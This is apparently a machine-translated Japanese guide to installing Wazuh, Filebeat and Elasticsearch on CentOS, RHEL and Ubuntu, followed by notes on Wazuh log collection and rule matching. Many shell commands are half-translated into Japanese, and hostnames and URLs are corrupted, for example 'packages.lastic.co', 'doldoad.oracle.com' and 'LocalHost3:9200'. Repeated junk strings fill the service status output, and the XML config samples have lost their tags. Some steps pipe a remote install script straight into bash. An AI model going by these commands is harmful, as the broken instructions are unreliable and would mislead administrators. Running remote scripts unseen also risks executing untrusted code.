bin: '/opt/rh/python27/root/usr/bin/python'、

lib: '/opt/rh/python27/root/usr/lib64'

}

];

Centos 6とRed Hat 6にはPython 2.6が付属していますが、Python 2.7を並行してインストールして、古いバージョンと互換性があります

a。 Centos 6の場合:

#yum install -y centos-release-scl

#yum install -y python27

b。 RHEL 6の場合:

#yumインストールpython27

次のコマンドを使用して、最初にPython27を取得することを最初に有効にする必要がある場合があります。

#yum-config-manager -enable rhui-region-rhel-server-rhscl

#yum-config-manager -enable rhel-server-rhscl-6-rpms

3. Wazuh APIをインストールします。必要に応じてnodejsを更新します。

#yumインストールwazuh-api

4。このプロセスを完了した後、次のコマンドを使用してサービスステータスを確認できます。

A.SystemD:

#SystemCTLステータスWazuh-API

B. sysv init:

#サービスwazuh-apiステータス

5。(オプション)wazuhアップデートを無効にするソース:

偶発的なエスカレーションを防ぐために、Wazuhアップデートソースを無効にすることをお勧めします。これを行うには、次のコマンドを使用します。

#sed -i 's/^enabled=1/enabled=0/'/etc/yum.repos.d/wazuh.repo

filebeatのインストール

FileBeatは、Elastic Stack ServerのLogstashサービスにイベントを安全に転送し、アーカイブすることができるWazuhサーバー上のツールです

警告:単一のホストアーキテクチャ(Wazuh ServerとElastic Stackが同じシステムにインストールされています)では、FileBeatは必要ありません。Logstashは、フォワーダーを必要とせずにローカルファイルシステムからイベント/アラートデータを直接読み取ることができるためです。

RPMパッケージは、Red Hat、Centos、その他のRPMベースのシステムへのインストールに適しています

ElasticからGPGキーをインストールしてから、弾性更新ソースをインストールします。

#rpm -import https://packages.lastic.co/gpg-key-elasticsearch

#cat /etc/yum.repos.d/elastic.repo eof

[Elasticsearch-6.x]

name=6.xパッケージのElasticsearchリポジトリ

baseurl=https://Artifacts.Elastic.co/packages/6.x/yum

gpgcheck=1

gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch

有効=1

AutoreFresh=1

type=rpm-md

EOF

2。filebeatをインストールします:

#yumインストールfilebeat-6.6.0

3. Wazuhリポジトリからファイルビート構成ファイルをダウンロードします。これは、WazuhアラートをLogstashに転送するために事前に構成されています。

#curl -so /etc/filebeat/filebeat.yml https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/filebeat/filebeat.yml

4. file /etc/filebeat/filebeat.ymlを編集し、Elastic Stack ServerのIPアドレスまたはホスト名としてelastic_server_ipを置き換えます。例えば:

output:

logstash:

hosts: ['elastic_server_ip33605000']

5。ファイルビートサービスを開始します:

A.SystemD:

#SystemCtl Daemon-Reload

#SystemCtl enable filebeat.service

#SystemCtl filebeat.Serviceを開始します

B. sysv init:

#chkconfig -add filebeat

#サービスfilebeat start

6。(オプション)Elasticsearchリポジトリを無効にします。

ElasticSearchの更新ソースを無効にして、新しい弾性スタックバージョンへのアップグレードを防ぐことをお勧めします。これには、次のコマンドを使用してください。

#sed -i 's/^enabled=1/enabled=0/' /etc/yum.repos.d/Elastic.rep

Debパッケージを使用してWazuhサーバーをインストールします

Debian/Ubuntuプラットフォームの場合、Wazuh Serverコンポーネントをインストールするには、リポジトリを追加した後に関連するソフトウェアパッケージをインストールする必要があります。以下で使用されるコマンドの多くは、ルートユーザー許可を使用して実行する必要があります。

wazuh更新ソースを追加

Wazuhをセットアップする最初のステップは、Wazuhアップデートソースをシステムに追加することです。 Wazuh-Managerパッケージを直接ダウンロードするか、互換性のあるバージョンを表示する場合は、ここをクリックしてください。

このプロセスを実行するには、Curl、Apt-Transport-HTTPS、およびLSBリリースパッケージをシステムにインストールする必要があります。それらがインストールされていない場合は、次のコマンドを使用してそれらをインストールします。

#apt-getアップデート

#apt-get install curl apt-transport-https lsb-release

/usr/bin/pythonファイルが存在しない場合(ubuntu 16.04 lts以降など)、次のコマンドを使用してpython(2.7以降)を作成します。

# もし [ ! -f/usr/bin/python];その後、ln -s/usr/bin/python3/usr/bin/python; fi

2. GPGキーをインストールします

#curl -s https://packages.wazuh.com/key/gpg-key-wazuh | apt -key add-

3.更新ソースを追加します

#echo 'deb https://packages.wazuh.com/3.x/apt/stable main' | Tee -a /etc/apt/sources.list.d/wazuh.list

4。パッケージを更新します

#apt-getアップデート

Wazuh Managerのインストール

ターミナルで、Wazuhマネージャーをインストールしてください。

#apt-get wazuh-managerをインストールします

このプロセスを完了した後、次のコマンドを使用してサービスステータスを確認できます。

a。 SystemDの場合:

#SystemCTLステータスWazuh-Manager

B. sysv init:

#サービスwazuh-managerステータス

wazuh api

のインストール

Wazuh APIを実行するには、nodejs=4.6.1が必要です。 nodejsがインストールされていない場合、またはバージョンが4.6.1より低い場合は、次のように公式のnodejsリポジトリを追加することをお勧めします。

#curl -sl https://deb.nodesource.com/setup_8.x |バッシュ -

ubuntu 12.04(正確)またはdebian 7(wheezy)を使用している場合、次のコマンドを使用してnodejs 6をインストールする必要があります。

#curl-slhttps://deb.nodesource.com/setup_6.x | bash-

次に、nodejsをインストールします。

#apt-get install nodejs

2。APIを実行するには、python=2.7が必要です。デフォルトでインストールされているか、ほとんどのLinuxディストリビューションの公式ライブラリに含まれています。

システム上のPythonバージョンが2.7未満であるかどうかを判断するには、次のコマンドを実行できます。

#python -version

``/var/ossec/api/configuration/config.js``でAPIのカスタムPythonパスを設定することができます。

config.python=[

//デフォルトのインストール

{

bin: 'python'、

lib3360 ''

}、

//Centos 6のパッケージ「Python27」

{

bin: '/opt/rh/python27/root/usr/bin/python'、

lib: '/opt/rh/python27/root/usr/lib64'

}

];

3. Wazuh APIをインストールします。必要に応じてnodejsを更新します。

#apt-get wazuh-apiをインストールします

4。このプロセスを完了した後、次のコマンドを使用してサービスステータスを確認できます。

A.SystemD:

#SystemCTLステータスWazuh-API

B. sysv init:

#サービスwazuh-apiステータス

5。(オプション)Wazuhアップデートを無効にします:

偶発的なエスカレーションを防ぐために、Wazuhアップデートソースを無効にすることをお勧めします。これを行うには、次のコマンドを使用します。

#sed -i 's/^deb/#deb/'/etc/apt/sources.list.d/wazuh.list

#apt-getアップデート

または、パッケージステータスを保持するように設定することもできます。これにより、更新が停止します(ただし、手動でアップグレードできます)

#echo 'wazuh-manager hold' | sudo dpkg - セット選択

#echo 'wazuh-api hold' | sudo dpkg - セット選択

filebeatのインストール

FileBeatは、Wazuhサーバー上のツールであり、Elastic Stack ServerのLogstashサービスにイベントを安全に転送し、アーカイブすることができます。

警告:単一のホストアーキテクチャ(Wazuh ServerとElastic Stackが同じシステムにインストールされています)では、FileBeatは必要ありません。Logstashは、フォワーダーを必要とせずにローカルファイルシステムからイベント/アラートデータを直接読み取ることができるためです。

Debパッケージは、Debian、Ubuntu、およびその他のDebianベースのシステムに適しています。

ElasticからGPGキーをインストールしてから、弾性リポジトリをインストールします。

#curl -S https://Artifacts.Elastic.co/gpg-key-elasticsearch | apt -key add-

#echo 'deb https://artifacts.elastic.co/packages/6.x/apt stable main' | Tee /etc/apt/sources.list.d/elastic-6.x.list

#apt-getアップデート

2。filebeatをインストールします:

#apt-get install filebeat=6.6.0

3. Wazuh Updateソースからファイルビート構成ファイルをダウンロードします。これは、WazuhアラートをLogstashに転送するために事前に構成されています。

#curl -so /etc/filebeat/filebeat.yml https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/filebeat/filebeat.yml

4. file /etc/filebeat/filebeat.ymlを編集し、Elastic Stack ServerのIPアドレスまたはホスト名としてelastic_server_ipを置き換えます。例えば:

output:

logstash:

hosts: ['elastic_server_ip33605000']

5。ファイルビートサービスを開始します:

A.SystemD:

#SystemCtl Daemon-Reload

#SystemCtl enable filebeat.service

#SystemCtl filebeat.Serviceを開始します

B. sysv init:

#update-rc.d filebeatデフォルト95 10

#サービスfilebeat start

6。(オプション)Elasticsearchの更新を無効にします:

ElasticSearの更新ソースを無効にして、新しいElastic Stackバージョンへのアップグレードを防ぐことをお勧めします。これには、次のコマンドを使用してください。

#sed -i 's/^deb/#deb/'/etc/apt/sources.list.d/elastic-6.x.list

#apt-getアップデート

または、パッケージステータスを保持するように設定することもできます。これにより、更新が停止します(ただし、手動でアップグレードできます)

#echo 'filebeat hold' | sudo dpkg - セット選択

弾性スタックのインストール

このガイドでは、Logstash、Elasticsearch、Kibanaで構成される弾性スタックサーバーのインストールを紹介します。これらのパッケージベースのコンポーネントインストールについて説明します。ソースからTARをコンパイルしてインストールすることもできますが、これはWazuhドキュメントの好ましいインストールではありません。

弾性スタックコンポーネントに加えて、Wazuhアプリケーション(Kibanaプラグインとして展開)のインストールと構成の手順も見つけることができます。

オペレーティングシステムに応じて、RPMまたはDEBパッケージから弾性スタックをインストールすることを選択できます。以下の表を参照して選択してください。

タイプ説明RPMパッケージ

Centos/rhel/fedoraに弾性スタックを取り付けます

デブパッケージ

debian/ubuntuに弾性スタックを取り付けます

知らせ

現在、Elastic Stackは64ビットオペレーティングシステムのみをサポートしています

RPMパッケージを使用して弾性スタックをインストールします

RPMパッケージは、Red Hat、Centos、その他のRPMベースのシステムへの設置に適しています。

注:次のコマンドの多くは、ルートユーザー許可を使用して実行する必要があります。

準備

LogstashとElasticsearchにはOracle Java JRE 8が必要です。

注:次のコマンドは、Oracle Java JREをダウンロードするためにCookieを持参する必要があります。詳細については、Oracle Java 8 JREダウンロードページをご覧ください。

#curl -lo jre-8-linux-x64.rpm - Header 'cookie: Oraclelicense=Accect-securebackup-cookie'https://doldoad.oracle.com/otn-pub/java/jdk/8U202-b08/1961070e4c9b4e26a04e7f5a083f551e/jre-8u202-lunux-x64.rpm'

次に、パッケージが正常にダウンロードされたかどうかを確認します。

#RPM -QLP JRE-8-LINUX-X64.RPM /DEV /NULL 21CHO'JAVAパッケージは正常にダウンロードされました '|| ECHO'JAVAパッケージは正常にダウンロードしませんでした'

最後に、Yumを使用してRPMパッケージをインストールします。

#yum -yインストールjre-8-linux-x64.rpm

#RM -F JRE-8-LINUX-X64.RPM

2。弾性リポジトリとそのGPGキーをインストールします。

#rpm -import https://packages.lastic.co/gpg-key-elasticsearch

#cat /etc/yum.repos.d/elastic.repo eof

[Elasticsearch-6.x]

name=6.xパッケージのElasticsearchリポジトリ

baseurl=https://Artifacts.Elastic.co/packages/6.x/yum

gpgcheck=1

gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch

有効=1

AutoreFresh=1

type=rpm-md

EOF

ElasticSearch

ElasticSearchは、非常にスケーラブルなフルテキスト検索および分析エンジンです。詳細については、elasticsearchを参照してください。

ElasticSearchパッケージをインストールします:

#yumインストールElasticsearch-6.6.0

2。ElasticSearchサービスを開始します。

A.SystemD:

#SystemCtl Daemon-Reload

#SystemCtl Enable ElasticSearch.Service

#SystemCtl Start ElasticSearch.Service

B. sysv init:

#chkconfig -add elasticsearch

#サービスElasticSearch Start

ElasticSearchサーバーがスタートアップを完了するのを待つことが非常に重要です。次のコマンドを使用して、現在のステータスを確認します。これにより、次のように応答が表示されます。

#curl 'http://LocalHost3:9200/?pretty'

{

'name' : 'zr2shu_'、

'cluster_name' : 'elasticsearch'、

'cluster_uuid' : 'M-w_rznzra-cxykh_ojscq'、

'バージョン' : {

「番号」: '6.6.0'、

'build_flavor' : 'デフォルト'、

'build_type' : 'rpm'、

'build_hash'

1。 Wazhu展開アーキテクチャ

1.サーバーで実行されているエージェントは、収集されたさまざまな情報を暗号化されたチャネルを介して管理端に送信します。

2。管理側は、エージェントから受信したデータを分析し、イベントがアラームルールと一致するときにアラームをトリガーする責任があります。

3.LogStashは、Alarmログまたは監視ログをElasticSearchに送信し、最終的にKibanaの視覚化を介してログを表示します。

分散展開:さまざまなホストでWazuhサーバーと弾性スタッククラスター(1つ以上のサーバー)を実行します。

単一のホストアーキテクチャ:同じホストでWazuhサーバーと弾性スタックを実行します。

2つの主な違いは、前者がFileBeatとLogstashを使用してログ伝送を必要とし、後者はログファイルをネイティブに直接読み取ることです。

kcjimlrqsfu8496.png図1:分散展開

3oe1uknouhu8497.png図2:シングルホストアーキテクチャ

2。ソース構成を更新

ネットワーク速度が遅い場合は、国内のソフトウェアソースに変更できます。デフォルトでは使用しません。

Yum Repolist #View現在のソース

cp /etc/yum.repos.d/centos-base.repo /etc/yum.repos.d/centos-base.repo.bak #back #back up up up up up up

wget http://mirrors.aliyun.com/repo/centos-7.repo #download alibaba cloudos7ソース

wget http://mirrors.163.com/.help/centos7-base-163.Repo #Download 163 CENTOS7ソース

MVダウンロードしたソース/etc/yum.repos.d/centos-base.repo

Yum CleanすべてのYum Makecache #CleanとYumキャッシュを再構築する

タイムサーバー:

yum -y ntp ntpdate #install ntpをインストールし、ntpを更新します

ntpdate cn.ntp.org.cn #ntp設定

hwcrock-システム時間はハードウェアの時間を書きます

LN -SF/USR/SHARE/ZONEINFO/ASIA/SHANGHAI/etc/LocalTime#Linuxのタイムゾーンは上海タイムゾーンに設定されています

3。 Wazuh Manager

をインストールします

インストール環境はCENTOS7.1x64システムです

方法1:

cat /etc/yum.repos.d/wazuh.repo \ eof

[wazuh_repo]

gpgcheck=1

gpgkey=https://packages.wazuh.com/key/gpg-key-wazuh

有効=1

name=wazuhリポジトリ

baseurl=https://packages.wazuh.com/3.x/yum/

保護=1

EOF

Yum Install Wazuh-Manager

方法2:

[root@wazhu-manage〜]#cd /opt

[root@wazhu-manage opt]#wget https://packages.wazuh.com/3.x/yum/wazuh-manager-3.8.0-1.x86_64.rpm

[root@wazhu-manage opt]#chmod +x wazuh-manager-3.8.0-1.x86_64.rpm

[root@wazhu-manage opt]#rpm -ivh wazuh-manager-3.8.0-1.x86_64.rpm

[root@wazhu-manage opt] #systemctl status wazuh-manager.service

●Wazuh -Manager.Service -Wazuh Manager

Loaded: Loaded(/etc/systemd/system/wazuh-manager.service; enabled; vendor preset:無効)

Active: Active(running)2019-01-21 09:58336045 UTC; 34s前

process: 13789 execstart=/usr/bin/env $ {directory}/bin/ossec-control start(code=exited、status=0/success)

cgroup: /system.slice/wazuh-manager.service

├马云惹不起马云马云惹不起马云13819/var/ossec/bin/ossec-authd

├马云惹不起马云马云惹不起马云13823/var/ossec/bin/wazuh-db

and-13841/var/ossec/bin/ossec-execd

├马云惹不起马云马云惹不起马云13847/var/ossec/bin/ossec-analysisd

├马云惹不起马云马云惹不起马云13851/var/ossec/bin/ossec-syscheckd

├马云惹不起马云马云惹不起马云13859/var/ossec/bin/ossec連合

├马云惹不起马云马云惹不起马云13861/var/ossec/bin/ossec-logcollector

├马云惹不起马云马云惹不起马云13882/var/ossec/bin/ossec-monitord

└└。13886/var/ossec/bin/wazuh-modulesd

iv。 wazuh api

をインストールします

Wazuh APIを実行するには、nodejs=4.6.1が必要です。 nodejsがインストールされていない場合、またはバージョンが4.6.1より低い場合は、次のように公式のnodejsリポジトリを追加することをお勧めします。

[root@wazhu-manage bin]#curl - silent - location https://rpm.nodesource.com/setup_8.x |バッシュ -

[root@wazhu-manage bin]#yumインストールnodejs.x86_64

[root@wazhu -manage bin] #node -v#またはyumインストールnodejs

v6.14

Wazuh APIを実行するには、python=2.7が必要です。デフォルトでインストールされているか、ほとんどのLinuxディストリビューションの公式リポジトリに含まれています。システム上のPythonバージョンが2.7未満であるかどうかを判断するには、次のコマンドを実行できます。

[root@wazhu-manage bin]#python -version#centos7デフォルトPython2

Python 2.7.5

[root@wazhu-manage bin]#cd /opt

[root@wazhu-manage opt]#wget https://packages.wazuh.com/3.x/yum/wazuh-api-3.8.0-1.x86_64.rpm

[root@wazhu-manage opt]#ls

wazuh-api-3.8.0-1.x86_64.rpmwazuh-manager-3.8.0-1.x86_64.rpm

[root@wazhu-manage opt]#chmod +x wazuh-api-3.8.0-1.x86_64.rpm

[root@wazhu-manage opt]#rpm -ivh wazuh-api-3.8.0-1.x86_64.rpm#またはyum install wazuh-api

[root@wazhu-manage opt] #systemctl start wazuh-api

[root@wazhu-manage opt] #systemctl status wazuh-api

●wazuh -api.service -wazuh api daemon

Loaded: Loaded(/etc/systemd/system/wazuh-api.service; enabled; vendor preset:無効)

Active: Active(running)2019-01-21 10:25336030 UTC; 33秒前

docs: https://documentation.wazuh.com/current/user-manual/api/index.html

メインPID: 15454(ノード)

cgroup: /system.slice/wazuh-api.service

and-15454/bin/node /var/ossec/api/app.js

1月21日10:25:30 WAZHU-MANAGE SYSTEMD [1] :はWazuh API Daemonを開始しました。

自動アップグレードを防ぐ:

#sed -i 's/^enabled=1/enabled=0/'/etc/yum.repos.d/wazuh.repo

v。 Wazuhエージェント

をインストールします

1。Centosの下にAgent:1.1をインストールします。パッケージインストール[root@wazhu-manage opt]#ls

wazuh-api-3.8.0-1.x86_64.rpmwazuh-manager-3.8.0-1.x86_64.rpm

[root@wazhu-manage opt]#wget https://packages.wazuh.com/3.x/yum/wazuh-agent-3.8.0-1.x86_64.rpm

[root@wazhu-manage opt]#chmod +x wazuh-agent-3.8.0-1.x86_64.rpm

[root@wazhu-manage opt]#rpm -ivh wazuh-agent-3.8.0-1.x86_64.rpm

警告: wazuh-agent-3.8.0-1.x86_64.rpm:ヘッダーV4 RSA/SHA1署名、キーID 2911145: nokey

ERROR:失敗依存関係:

Wazuh-ManagerはWazuh-Agent-3.8.0-1.x86_64と競合します

Wazuh-Agentは(インストールされた)Wazuh-Manager-3.8.0-1.x86_64との競合です

#構成ファイルvim /var/ossec/etc/ossec.confを変更する#キー/var/ossec/bin/manage_agentsのインポート#service/var/ossec/bin/ossec-control Start

1.2。 Yumのインストール:cat /etc/yum.repos.d/wazuh.repo \ eof

[wazuh_repo]

gpgcheck=1

gpgkey=https://packages.wazuh.com/key/gpg-key-wazuh

有効=1

name=wazuhリポジトリ

baseurl=https://packages.wazuh.com/3.x/yum/

保護=1

EOF

[root@wazhu-manage opt]#yumインストールwazuh-agent

2。Ubuntuの下にAgent2.1をインストールします。 root@agent01:〜#cd /optをインストールします

root@agent01:/opt#wget https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.8.0-1_amd64.deb

root@agent01:/opt#dpkg -i wazuh-agent_3.8.0-1_amd64.deb

以前に選択されていないパッケージWazuh-Agentを選択します。

(データベースの読み取り. 92845ファイルとディレクトリが現在インストールされています。)

wazuh-agent_3.8.0-1_amd64.debを開梱する準備.

Wazuh-Agentの開梱(3.8.0-1).

Wazuh-Agentのセットアップ(3.8.0-1).

SystemDのトリガーの処理(229-4ubuntu21.4).

尿素の処理トリガー(0.100.0-19).

2.2。 apt-getインストール#apt-get install curl apt-transport-https lsb-release #install install in spece

#curl -s https://packages.wazuh.com/key/gpg-key-wazuh | apt -key add- #installing wazuhリポジトリGPGキー

#echo'deb https://packages.wazuh.com/3.x/apt/stable main '| tee /etc/apt/sources.list.d/wazuh.list #Addリポジトリ

#apt-get update #updateパッケージ情報

#apt-get wazuh-agent #install wazuhエージェントをインストールします

#echo'wazuh-agent hold '| sudo dpkg - セット選択#disableアップデート

3. Agenthttps://Packages.wazuh.com/3.x/windows/wazuh-agent-3.8.0-1.msiをWindowsにインストールします

agent -auth.exe -m管理側IP -p '管理サイドパスワード

エージェント-Auth -M管理IP

vi。 弾性スタック

をインストールします

1。弾性スタックランニング環境パッケージのインストールLogstashとElasticsearchにはOracle Java JRE 8が必要です

[root@wazhu-manage opt]#curl -lo jre-8-linux-x64.rpm - header 'cookie: oraclelicense=Accept-securebackup-cookie' 'https://Download.oracle.com/otn-pub/java/jdk/8u202-b08/1961070e4c9b4e26a04e7f5a083f551e/jre-8u202-linux-x64.rpm' '

[root@wazhu-manage opt] Echo 'Javaパッケージは正常にダウンロードしませんでした」

Javaパッケージは正常にダウンロードされました

[root@wazhu-manage opt]#yum -yインストールjre-8-linux-x64.rpm

[root@wazhu -manage opt]#java -version

Javaバージョン '1.8.0_202'

Elastic RepositoryとそのGPGキー:をインストールします

[root@wazhu-manage opt]#rpm -import https://packages.lastic.co/gpg-key-elasticsearch

[root@wazhu-manage opt]#cat /etc/yum.repos.d/elastic.repo eof

[Elasticsearch-6.x]

name=6.xパッケージのElasticsearchリポジトリ

baseurl=https://Artifacts.Elastic.co/packages/6.x/yum

gpgcheck=1

gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch

有効=1

AutoreFresh=1

type=rpm-md

EOF

[root@wazhu-manage opt]#cat /etc/yum.repos.d/elastic.repo

[Elasticsearch-6.x]

name=6.xパッケージのElasticsearchリポジトリ

baseurl=https://Artifacts.Elastic.co/packages/6.x/yum

gpgcheck=1

gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch

有効=1

AutoreFresh=1

type=rpm-md

2。ElasticSearch[root@wazhu-manage opt]#yumインストールElasticsearch-6.5.4

[root@wazhu-manage opt] #SystemCtl Daemon-Reload

[root@wazhu-manage opt]#systemctl enable elasticsearch.serviceを有効にします

/etc/systemd/system/multi-user.target.wants/elasticsearch.serviceからSymlinkから作成されたSymlinkは、/usr/lib/systemd/system/Elasticsearch.service。

[root@wazhu-manage opt] #SystemCtl Start ElasticSearch.Service

[root@wazhu-manage opt] #SystemCtl Status ElasticSearch.Service

ElasticSearch.Service -Elasticsearch

loaded: loaded(/usr/lib/systemd/system/elasticsearch.service; enabled; vendor preset: disabled)

Active: Active(running)2019-01-21 11:20:32 UTC; 12秒前

docs: http://www.elastic.co

メインPID: 16541(Java)

cgroup: /system.slice/elasticsearch.service

├马云惹不起马云马云惹不起马云16541 /bin /java -xms1g -xmx1g -xx:+useconcmarksweepgc -xx3360cmsinitia .

└└)/usr/share/elasticsearch/modules/x-pack-ml/platform/linux-x86 .

ElasticSearchサーバーがスタートアップを完了するのを待つことが非常に重要です。次のコマンドを使用して、現在のステータスを確認します。これにより、次のように応答が表示されます。

[root@wazhu-manage opt]#curl 'http://localhost:9200/?light'

{

「名前」: 'J2IH056'、

'cluster_name' : 'elasticsearch'、

'cluster_uuid' : 'ihtopid4sr-eoz5qx73-kw'、

'バージョン' : {

「番号」: '6.5.4'、

'build_flavor' : 'デフォルト'、

'build_type' : 'rpm'、

'build_hash' : 'd2ef93d'、

'build_date' : '2018-12-17T21:17336040.758843Z'、

'build_snapshot' : false、

'lucene_version' : '7.5.0'、

'Minimum_wire_compatibility_version' : '5.6.0'、

'Minimum_index_compatibility_version' : '5.0.0'

}、

「キャッチフレーズ」: 'あなたが知っている、検索のために'

}

ElasticSearch用のWazuhテンプレートのロード:( KibanaのWazuhアプリケーションでは、Elasticsearchテンプレートが適切に機能する必要があるため、正しく挿入されることを確認することが非常に重要です。)

[root@wazhu-manage opt]#curl https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/elasticsearch/wazuh-elastic6-template-alerts.json | curl -x put 'http://localhost:9200/_template/wazuh' -h 'content -type:アプリケーション/json' -d @ -

%合計%re

1。ログデータ収集

ログデータ収集は、サーバーまたはデバイスによって生成されたレコードから収集されたリアルタイムプロセスです。このコンポーネントは、テキストファイルまたはWindowsイベントログを介してログを受信できます。また、リモートSyslogを介して直接ログを受信することもできます。これは、ファイアウォールやその他のそのようなデバイスに非常に役立ちます。

このプロセスの目的は、アプリケーションまたはシステムプログラムのエラー、構成エラー、侵入脅威、トリガーポリシーまたはセキュリティの問題を特定することです。

Wazuh AegntのメモリとCPU要件は非常に低く、主な機能はマネージャーにイベントを転送することです。ただし、Wazuhマネージャーでは、CPUとメモリの消費量は、1秒あたりのイベント分析の数(EPS)に応じて急速に増加する可能性があります。

1。処理プロセス

次の図は、イベントのプロセスを示しています。

pvh4oc45kvz8631.png

2。ログコレクション

2.1ログファイル

ログ分析エンジンは、サーバー上の特定のファイルを監視するように構成できます

サンプル構成:

Linux:

ローカルファイル

場所/var/log/example.log/location

log_formatsyslog/log_format

/localfile

Windows:

ローカルファイル

locationc: \ myapp \ example.log/location

log_formatsyslog/log_format

/localfile

2.2Windowsイベントログ

Wazuhは、典型的なWindowsイベントログと新しいWindowsイベントチャネルを監視できます

サンプル構成:

イベントログ:

LocalFile

場所セキュリティ/場所

log_formateventlog/log_format

/localfile

イベントチャネル:

ローカルファイル

locationmicrosoft-windows-printservice/操作/場所

log_formateventchannel/log_format

/localfile

2.3リモートシステムログ

たとえば、ファイアウォールなどの他のデバイスでは、syslogを介してログイベントを受信するようにプロキシログ分析コンポーネントを構成できます。

サンプル構成:

ossec_config

リモート

ConnectionSySlog/Connection

許可-IPS192.168.2.0/24/許可-IP

/リモート

ossec_config

ConnectionSlog/Connectionとは、マネージャーがネットワークからの着信システムログ情報を受け入れることを意味し、許可-IPS192.168.2.0/24/Allawt-IPSとは、システムログ情報を受け入れるネットワーク範囲を意味します。

録音例:

2016-03-15T15:22:10.078830+01:00 TRON SU:PAM_UNIX(SU-L:AUTH):Authentication障害; logName=TM UID=500 EUID=0 TTY=PTS/0 RUSER=TM RHOST=USE

1265939281.764 1 172.16.167.2228 TCP_DENIED/403 734 POST http://LBCORE1.METACAFE.com/test/systeminfomanager.php -none/-text/html

[日曜日06 08:52:16 2016] [エラー] [クライアント187.172.181.57]リクエストの無効なURI get: index.php http/1.0

3.分析

3.1事前廃止

分析の事前廃止段階で、ほとんどの静的情報からのフィールドはログから抽出されます。

2月14日123:19:04 LocalHost SSHD [25474] : 192.168.1.133ポート49765からRomeroのパスワードを受け入れました。

ホスト名: 'localhost'

アプリケーション名:「sshd」

3.2デコード

デコードフェーズでは、ログ情報が評価されてログの種類を識別し、その特定のログタイプの既知のフィールドが抽出されます。

サンプルログとその抽出された情報:

2月14日123:19:04 LocalHost SSHD [25474] : 192.168.1.133ポート49765 SSH2からRomeroのパスワードを受け入れました。

抽出された情報:

アプリケーション名:SSHD

キーワード:Romero

ソースIP:192.168.1.133

3.3ルールマッチング

次の段階では、抽出されたログ情報を比較して、一致を見つけるために設定されています。

前の例では、ルール5715が一致します。

ルールID='5715' level='3'

if_sid5700/if_sid

Match^Accepted | Authenticated。$/MATCH

descriptionsshd:認証の成功。/description

GroupAuthentication_success、pci_dss_10.2.5、/group

/ルール

注:詳細については、Wazuhルールセットを参照してください

3.4アラーム

ルールと一致すると、マネージャーは次のアラームを作成します。

**アラート1487103546.21448: -syslog、sshd、authentication_success、pci_dss_10.2.5、

2017年2月14日12:19:06 localhost-/var/log/secure

Rule: 5715(レベル3) - 「SSHD:認証成功」。

SRC IP: 192.168.1.133

user: romero

2月14日123:19:04 LocalHost SSHD [25474] : 192.168.1.133ポート49765 SSH2からRomeroのパスワードを受け入れました。

デフォルトでは、重要なイベントまたはセキュリティ関連のイベントでアラートが生成されます。すべてのイベントを保存するには、ルールと一致しなくても、log_allオプションを有効にします。

アラームは/var/ossec/logs/alerts/alerts.(json| log)に保存され、イベントは/var/ossec/logs/archives/archives.(json| log)に保存されます。単一のディレクトリは、毎月と年ごとに自動的に作成されます。

注:デフォルトでは、ストレージログは自動的に削除されません。現地の法律や規制に従って、ログを手動または自動的に削除するとき(Cronスケジュールされたタスクなど)を選択できます(Cronスケジュールされたタスクなど)。

4.コンフィグレーター

4.1基本的な使用

ログデータコレクションは、主にossec.confファイルでローカルファイル、リモート、グローバルを構成します。また、これらの設定を関連するエージェントに中央に配布するために、agent.confファイルのログデータ収集の構成を完了することもできます。

この基本的な使用例と同様に、監視するファイル名と形式を提供する必要があります。

ローカルファイル

場所/var/log/メッセージ/場所

log_formatsyslog/log_format

/localfile

4.2ファイル名の正規式を使用してログを監視します

WazuhはPosixの正規表現をサポートしています。たとえば、 /var /logディレクトリの.logで終了する各ファイルを分析するには、次の構成を使用します。

ローカルファイル

場所/var/log/*。log/location

log_formatsyslog/log_format

/localfile

4.3日付ベースのログ監視

日付に基づいて変更されるログファイルの場合、日、月、年などをカスタマイズするためのStrftime形式を指定することもできます。たとえば、C: \ windows \ app \ log-08-12-15などのログファイルを監視することもできます。

ローカルファイル

locationc: \ windows \ app \ log-%y-%m-%d.log/location

log_formatsyslog/log_format

/localfile

4.4 Windowsイベントログからログを読み取ります

Windowsイベントログを監視するには、フォーマット「EventLog」を提供し、場所パラメーターをイベントログの名前として使用する必要があります

ローカルファイル

場所セキュリティ/場所

log_formateventlog/log_format

/localfile

4.5 Windowsイベントチャネルからイベントを読む

特定のWindowsイベントチャネルを監視することもできます。場所はイベントチャネルの名前です。これは、アプリケーションとサービスログを監視する唯一の方法です。ファイル名に「%」が含まれている場合は、「/」に置き換えます。

ローカルファイル

locationmicrosoft-windows-printservice/操作/場所

log_formateventchannel/log_format

/localfile

イベントチャネルの新しいイベントデータ処理を通じて、Wazuh v3.8.0はログ形式を強化し、古い機能と構成を保持します。 Windowsプロキシによって生成されるすべてのイベントを監視し、JSON形式で各チャネルの情報を表示できます。古いイベントチャネルとして、このlog_formatを使用すると、イベントID、プロセス、ログインタイプ、または生成されたイベントに含まれるその他のフィールドごとにフィルターを照会でき、目的のイベントを取得できます。

この新機能は、JSONデコーダーを使用してイベントフィールドを処理し、新しい方法が以前よりも簡単に追加されることを確認します。 Wazuhルールセットに含まれるデフォルトのチャネルは、アプリケーション、セキュリティ、システム、Microsoft-Windows-Sysmon/Operational、Microsoft Anti-Malware(Microsoft Security Essentials)、Microsoft-Windows-Windows Defender/Operational、Microsoft-Windows-EventLogです。

Windowsイベントチャネルのいくつかの例を以下に示します。

y5mx5hnzz118632.png次の図は、各チャネルのイベントの数を示しています。フィルタリングエージェントz2pyrrgrmpy8633.png

Windowsイベントチャネルの

4.6クエリを使用したWindowsイベントチャネルでのフィルターイベント

イベントは、次のようにフィルタリングできます。

ローカルファイル

場所/場所

log_formateventchannel/log_format

queryevent/system [eventId=7040]/query

/localfile

4.7環境変数を使用して

環境変数のようなWindir%のように、場所で使用できます。 IISサーバーからログを読み取る例は次のとおりです。

ローカルファイル

場所%Windir%\ System32 \ logfiles \ w3svc3 \ ex%y%m%d.log/location

log_formatiis/log_format

/localfile

4.8複数の出力を使用して

